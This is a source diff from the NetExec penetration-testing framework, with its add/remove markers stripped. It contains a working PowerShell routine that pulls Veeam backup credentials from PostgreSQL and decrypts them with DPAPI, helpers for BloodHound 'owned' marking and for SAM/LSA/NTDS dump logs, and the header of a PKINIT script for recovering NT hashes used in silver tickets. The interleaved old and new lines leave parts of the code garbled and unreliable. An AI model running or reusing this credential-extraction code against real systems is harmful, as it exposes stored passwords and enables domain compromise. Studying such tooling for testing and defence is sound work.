exit
}
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
@@ -1,8 +1,9 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
+179
View File
@@ -0,0 +1,179 @@
import configparser
import ipaddress
import shutil
import sys
from os import mkdir
from os.path import exists
from os.path import join as path_join
from pathlib import Path
from sqlite3 import connect
from threading import Lock
from sqlalchemy import create_engine, MetaData, func
from sqlalchemy.exc import IllegalStateChangeError
from sqlalchemy.orm import sessionmaker, scoped_session
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.logger import nxc_logger
from nxc.paths import WORKSPACE_DIR
def create_db_engine(db_path):
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
def open_config(config_path):
try:
config = configparser.ConfigParser()
config.read(config_path)
except Exception as e:
print(f"[-] Error reading nxc.conf: {e}")
sys.exit(1)
return config
def get_workspace(config):
return config.get("nxc", "workspace")
def set_workspace(config_path, workspace_name):
config = open_config(config_path)
config.set("nxc", "workspace", workspace_name)
write_configfile(config, config_path)
print(f"[*] Workspace set to {workspace_name}")
def get_db(config):
return config.get("nxc", "last_used_db")
def write_configfile(config, config_path):
with open(config_path, "w") as configfile:
config.write(configfile)
def init_protocol_dbs(workspace_name, p_loader=None):
"""Check for each protocol if the database exists, if not create it."""
if p_loader is None:
p_loader = ProtocolLoader()
protocols = p_loader.get_protocols()
for protocol in protocols:
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
if not exists(proto_db_path):
print(f"[*] Initializing {protocol.upper()} protocol database")
conn = connect(proto_db_path)
c = conn.cursor()
# try to prevent some weird sqlite I/O errors
c.execute("PRAGMA journal_mode = OFF")
c.execute("PRAGMA foreign_keys = 1")
protocol_object.database.db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
def create_workspace(workspace_name, p_loader=None):
"""
Create a new workspace with the given name.
Args:
----
workspace_name (str): The name of the workspace.
Returns:
-------
None
"""
if exists(path_join(WORKSPACE_DIR, workspace_name)):
print(f"[-] Workspace {workspace_name} already exists")
else:
print(f"[*] Creating {workspace_name} workspace")
mkdir(path_join(WORKSPACE_DIR, workspace_name))
init_protocol_dbs(workspace_name, p_loader)
def delete_workspace(workspace_name):
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
print(f"[*] Workspace {workspace_name} deleted")
def initialize_db():
if not exists(path_join(WORKSPACE_DIR, "default")):
create_workspace("default")
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
"""
# the FTP and SSH protocols call the column host instead of IP
# TODO: normalize these column names
if hasattr(HostsTable.c, "ip"):
ip_column = HostsTable.c.ip
nxc_logger.debug("Using 'ip' column for filtering")
elif hasattr(HostsTable.c, "host"):
ip_column = HostsTable.c.host
nxc_logger.debug("Using 'host' column for filtering")
else:
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
q = q.filter(ip_column == filter_term)
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
return q
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
self.lock.acquire()
res = self.sess.execute(*args)
self.lock.release()
return res
+21 -32
View File
@@ -1,57 +1,46 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from os import mkdir
from os.path import exists
from os.path import join as path_join
import shutil
from nxc.paths import nxc_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.nxcdb import initialize_db
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
from nxc.database import initialize_db
from nxc.logger import nxc_logger
def first_run_setup(logger=nxc_logger):
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not exists(nxc_PATH):
if not exists(NXC_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(nxc_PATH)
mkdir(NXC_PATH)
if not exists(TMP_PATH):
mkdir(TMP_PATH)
folders = (
"logs",
"modules",
"protocols",
"workspaces",
"obfuscated_scripts",
"screenshots",
)
for folder in folders:
if not exists(path_join(nxc_PATH, folder)):
if not exists(path_join(NXC_PATH, folder)):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(nxc_PATH, folder))
mkdir(path_join(NXC_PATH, folder))
initialize_db(logger)
log_subfolders = (
"sam",
"lsa",
"ntds",
"dpapi",
)
for subfolder in log_subfolders:
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
logger.display(f"Creating missing folder logs/{subfolder}")
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
initialize_db()
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "nxc.conf")
shutil.copy(default_path, nxc_PATH)
# if not exists(CERT_PATH):
# logger.display('Generating SSL certificate')
# try:
# check_output(['openssl', 'help'], stderr=PIPE)
# if os.name != 'nt':
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
# else:
# os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH))
# except OSError as e:
# if e.errno == errno.ENOENT:
# logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
# default_path = path_join(DATA_PATH, 'default.pem')
# shutil.copy(default_path, CERT_PATH)
# else:
# logger.error('Error while generating SSL certificate: {}'.format(e))
# sys.exit(1)
shutil.copy(default_path, NXC_PATH)
+26
View File
@@ -0,0 +1,26 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
+1 -3
View File
@@ -1,9 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from nxc.paths import DATA_PATH
def get_script(path):
with open(os.path.join(DATA_PATH, path), "r") as script:
with open(os.path.join(DATA_PATH, path)) as script:
return script.read()
+78 -32
View File
@@ -1,18 +1,32 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
def add_user_bh(user, domain, logger, config):
"""Adds a user to the BloodHound graph database.
Args:
----
user (str or list): The username of the user or a list of user dictionaries.
domain (str): The domain of the user.
logger (Logger): The logger object for logging messages.
config (ConfigParser): The configuration object for accessing BloodHound settings.
Returns:
-------
None
Raises:
------
AuthError: If the provided Neo4J credentials are not valid.
ServiceUnavailable: If Neo4J is not available on the specified URI.
Exception: If an unexpected error occurs with Neo4J.
"""
users_owned = []
if isinstance(user, str):
users_owned.append({"username": user.upper(), "domain": domain.upper()})
else:
users_owned = user
if config.get("BloodHound", "bh_enabled") != "False":
try:
from neo4j.v1 import GraphDatabase
except:
from neo4j import GraphDatabase
# we do a conditional import here to avoid loading these if BH isn't enabled
from neo4j import GraphDatabase
from neo4j.exceptions import AuthError, ServiceUnavailable
uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
@@ -26,30 +40,62 @@ def add_user_bh(user, domain, logger, config):
encrypted=False,
)
try:
with driver.session() as session:
with session.begin_transaction() as tx:
for info in users_owned:
if info["username"][-1] == "$":
user_owned = info["username"][:-1] + "." + info["domain"]
account_type = "Computer"
else:
user_owned = info["username"] + "@" + info["domain"]
account_type = "User"
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
if result.data()[0]["c"].get("owned") in (False, None):
logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
except AuthError as e:
with driver.session().begin_transaction() as tx:
for user_info in users_owned:
distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
if not domain_query:
logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
_add_without_domain(user_info, tx, logger)
else:
domain = domain_query[0]["d"].get("name")
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
return
except ServiceUnavailable as e:
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
return
except Exception as e:
logger.fail("Unexpected error with Neo4J")
logger.fail("Account not found on the domain")
return
driver.close()
logger.fail(f"Unexpected error with Neo4J: {e}")
finally:
driver.close()
def _add_with_domain(user_info, domain, tx, logger):
if user_info["username"][-1] == "$":
user_owned = f"{user_info['username'][:-1]}.{domain}"
account_type = "Computer"
else:
user_owned = f"{user_info['username']}@{domain}"
account_type = "User"
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
if result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
def _add_without_domain(user_info, tx, logger):
if user_info["username"][-1] == "$":
user_owned = user_info["username"][:-1]
account_type = "Computer"
else:
user_owned = user_info["username"]
account_type = "User"
result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
if len(result) == 0:
logger.fail("Account not found in the BloodHound database.")
return
elif len(result) >= 2:
logger.fail(f"Multiple accounts found with the name '{user_info['username']}' in the BloodHound database. Please specify the FQDN ex:domain.local")
return
elif result[0]["c"].get("owned") in (False, None):
logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
+213
View File
@@ -0,0 +1,213 @@
# SPDX-License-Identifier: GPL-2.0+
import struct
import uuid
from datetime import datetime
class Substitution:
def __init__(self, buf, offset):
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
self.length = 4
self._id = sub_id
self._type = sub_type
self._optional = sub_token == 0x0e
def xml(self, template=None):
value = template.values[self._id]
if value.type == 0x0:
return None if self._optional else ""
if self._type == 0x1:
return value.data.decode("utf16")
elif self._type == 0x4:
return str(struct.unpack("<B", value.data)[0])
elif self._type == 0x6:
return str(struct.unpack("<H", value.data)[0])
elif self._type == 0x8:
return str(struct.unpack("<I", value.data)[0])
elif self._type == 0xa:
return str(struct.unpack("<Q", value.data)[0])
elif self._type == 0x11:
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
elif self._type == 0x13:
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
iav = struct.unpack_from(">Q", value.data, 2)[0]
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
elif self._type == 0x15 or self._type == 0x10:
return value.data.hex()
elif self._type == 0x21:
return value.template.xml()
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
print("Unknown value type", hex(value.type))
class Value:
def __init__(self, buf, offset):
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + length * 2
def xml(self, template=None):
return self._val
class Attribute:
def __init__(self, buf, offset):
struct.unpack_from("<B", buf, offset)
self._name = Name(buf, offset + 1)
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
if next_token[0] == 0x05 or next_token == 0x45:
self._value = Value(buf, offset + 1 + self._name.length)
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
self.length = 1 + self._name.length + self._value.length
def xml(self, template=None):
val = self._value.xml(template)
return None if val is None else f'{self._name.val}="{val}"'
class Name:
def __init__(self, buf, offset):
hashs, length = struct.unpack_from("<HH", buf, offset)
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + (length + 1) * 2
class Element:
def __init__(self, buf, offset):
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
self._name = Name(buf, offset + 7)
self._dependency = dependency_id
ofs = offset + 7 + self._name.length
if token == 0x41:
struct.unpack_from("<I", buf, ofs)
ofs += 4
self._children = []
self._attributes = []
while True:
next_token = buf[ofs]
if next_token == 0x06 or next_token == 0x46:
attr = Attribute(buf, ofs)
self._attributes.append(attr)
ofs += attr.length
elif next_token == 0x02:
self._empty = False
ofs += 1
while True:
next_token = buf[ofs]
if next_token == 0x01 or next_token == 0x41:
element = Element(buf, ofs)
elif next_token == 0x04:
ofs += 1
break
elif next_token == 0x05:
element = Value(buf, ofs)
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
print("Unknown intern next_token", hex(next_token), hex(ofs))
break
self._children.append(element)
ofs += element.length
break
elif next_token == 0x03:
self._empty = True
ofs += 1
break
else:
print("Unknown element next_token", hex(next_token), hex(ofs))
break
self.length = ofs - offset
def xml(self, template=None):
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
children = (x.xml(template) for x in self._children)
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
class ValueSpec:
def __init__(self, buf, offset, value_offset):
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
self.data = buf[value_offset:value_offset + self.length]
if self.type == 0x21:
self.template = BinXML(buf, value_offset)
class TemplateInstance:
def __init__(self, buf, offset):
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
if next_token == 0x0F:
self._xml = BinXML(buf, offset + 0x16)
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
values_length = 0
self.values = []
for x in range(num_values):
value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
self.values.append(value)
values_length += value.length
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
print("Unknown template token", hex(next_token))
def xml(self, template=None):
return self._xml.xml(self)
class BinXML:
def __init__(self, buf, offset):
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
if next_token == 0x0C:
self._element = TemplateInstance(buf, offset + 4)
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
print("Unknown binxml token", hex(next_token))
self.length = 4 + self._element.length
def xml(self, template=None):
return self._element.xml(template)
class ResultSet:
def __init__(self, buf):
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
self._xml = BinXML(buf, 0x14)
def xml(self):
return self._xml.xml()
-3
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random
+2 -4
View File
@@ -1,12 +1,10 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from termcolor import colored
from nxc.paths import NXC_PATH
def write_log(data, log_name):
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
logs_dir = os.path.join(NXC_PATH, "logs")
with open(os.path.join(logs_dir, log_name), "w") as log_output:
log_output.write(data)
+79 -19
View File
@@ -1,15 +1,14 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random
import string
import re
import inspect
import os
from ipaddress import ip_address
def identify_target_file(target_file):
with open(target_file, "r") as target_file_handle:
with open(target_file) as target_file_handle:
for i, line in enumerate(target_file_handle):
if i == 1:
if line.startswith("<NessusClientData"):
@@ -25,11 +24,8 @@ def gen_random_string(length=10):
def validate_ntlm(data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
if allowed.match(data):
return True
else:
return False
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
def called_from_cmd_args():
@@ -45,12 +41,10 @@ def called_from_cmd_args():
# Stolen from https://github.com/pydanny/whichcraft/
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Given a command, mode, and a PATH string, return the path which
conforms to the given mode on the PATH, or None if there is no such
file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
of os.environ.get("PATH"), or can be overridden with a custom search
path.
"""Find the path which conforms to the given mode on the PATH for a command.
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
Note: This function was backported from the Python 3 source code.
"""
@@ -77,12 +71,78 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
files = [cmd]
seen = set()
for dir in path:
normdir = os.path.normcase(dir)
for p in path:
normdir = os.path.normcase(p)
if normdir not in seen:
seen.add(normdir)
for thefile in files:
name = os.path.join(dir, thefile)
name = os.path.join(p, thefile)
if _access_check(name, mode):
return name
return None
def get_bloodhound_info():
"""
Detect which BloodHound package is installed (regular or CE) and its version.
Returns
-------
tuple: (package_name, version, is_ce)
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
- version: Version string of the installed package (or None if not installed)
- is_ce: Boolean indicating if it's the Community Edition
"""
import importlib.metadata
import importlib.util
# First check if any BloodHound package is available to import
if importlib.util.find_spec("bloodhound") is None:
return None, None, False
# Try to get version info from both possible packages
version = None
package_name = None
is_ce = False
# Check for bloodhound-ce first
try:
version = importlib.metadata.version("bloodhound-ce")
package_name = "bloodhound-ce"
is_ce = True
except importlib.metadata.PackageNotFoundError:
# Check for regular bloodhound
try:
version = importlib.metadata.version("bloodhound")
package_name = "bloodhound"
# Even when installed as 'bloodhound', check if it's actually the CE version
if version and ("ce" in version.lower() or "community" in version.lower()):
is_ce = True
except importlib.metadata.PackageNotFoundError:
# No bloodhound package found via metadata
pass
# In case we can import it but metadata is not working, check the module itself
if not version:
try:
import bloodhound
version = getattr(bloodhound, "__version__", "unknown")
package_name = "bloodhound"
# Check if it's CE based on version string
if "ce" in version.lower() or "community" in version.lower():
is_ce = True
package_name = "bloodhound-ce"
except ImportError:
pass
return package_name, version, is_ce
def detect_if_ip(target):
try:
ip_address(target)
return True
except Exception:
return False
+3 -1
View File
@@ -12,7 +12,8 @@ Authors:
Guillaume DAUMAS (@BlWasp_)
Lucien DOUSTALY (@Wlayzz)
References:
References
----------
MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID:
- [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f
- [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e
@@ -22,6 +23,7 @@ References:
This library is, for the moment, not present in the Impacket version used by NetExec, so I add it manually in helpers.
"""
SCHEMA_OBJECTS = {
+34
View File
@@ -0,0 +1,34 @@
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
import struct
from impacket import ntlm
from impacket.smb3 import WIN_VERSIONS
import contextlib
def parse_challenge(challange):
target_info = {
"hostname": None,
"domain": None,
"os_version": None
}
challange = ntlm.NTLMAuthChallenge(challange)
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
with contextlib.suppress(Exception):
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
with contextlib.suppress(Exception):
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
if "Version" in challange.fields:
version = challange["Version"]
if len(version) >= 4:
major_version = version[0]
minor_version = version[1]
product_build = struct.unpack("<H", version[2:4])[0]
if product_build in WIN_VERSIONS:
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
else:
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
return target_info
+524
View File
@@ -0,0 +1,524 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
#
# References:
#
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
import os
import secrets
import hashlib
import datetime
import random
import base64
from binascii import unhexlify, hexlify
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
